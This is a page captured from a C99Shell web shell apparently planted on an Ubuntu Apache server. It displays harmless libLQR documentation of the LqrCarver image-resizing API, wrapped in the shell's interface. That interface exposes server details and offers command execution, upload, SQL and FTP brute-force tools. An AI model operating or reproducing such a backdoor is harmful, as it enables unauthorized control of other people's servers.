!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/liblqr-1-0-dev/html/   drwxr-xr-x
Free 13.03 GB of 57.97 GB (22.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     basic.html (5.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Basic methods

Basic methods

Following is a list of the basic public methods associated with the LqrCarver objects:

  • constructors and destructor

    LqrCarver * lqr_carver_new (guchar *buffer, gint width, gint height, gint channels);
    LqrCarver * lqr_carver_new_ext (void *buffer, gint width, gint height, gint channels, LqrColDepth colour_depth);
    void lqr_carver_destroy (LqrCarver *carver);
                                

  • initialization

    LqrRetVal lqr_carver_init (LqrCarver *carver, gint delta_x, gfloat rigidity);
                                

  • image manipulations

    LqrRetVal lqr_carver_resize (LqrCarver *carver, gint new_width, gint new_width);
    LqrRetVal lqr_carver_flatten (LqrCarver *carver);
                                

  • readout

    gboolean lqr_carver_scan (LqrCarver *carver, gint *x, gint *y, guchar **rgb);
    gboolean lqr_carver_scan_ext (LqrCarver *carver, gint *x, gint *y, void **rgb);
    gboolean lqr_carver_scan_by_row (LqrCarver *carver);
    gboolean lqr_carver_scan_line (LqrCarver *carver, gint *n, guchar **rgb);
    gboolean lqr_carver_scan_line_ext (LqrCarver *carver, gint *n, void **rgb);
                                

  • get values

    gint lqr_carver_get_width (LqrCarver *carver);
    gint lqr_carver_get_height (LqrCarver *carver);
    gint lqr_carver_get_channels (LqrCarver *carver);
    LqrColDepth lqr_carver_get_col_depth (LqrCarver *carver);
                                

The fastest way to see how they work is having a look at the code of examples/liquidrescale-basic.cpp, which is a very simple and fully commented demostrative program.

The return value of many functions is of type LqrRetVal. This is just an enum type which can be used for signal handling, see the Signal handling section.

The other classes are optional: the class LqrVMap is used to hold the carving information (and the class LqrVMapList is used to retrieve it from the LqrCarver ojects); the class LqrProgress is used to customize progress report from the resizing engine (by default it is turned off).

A complete list of the library public methods can be found in the reference at the end of this document.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--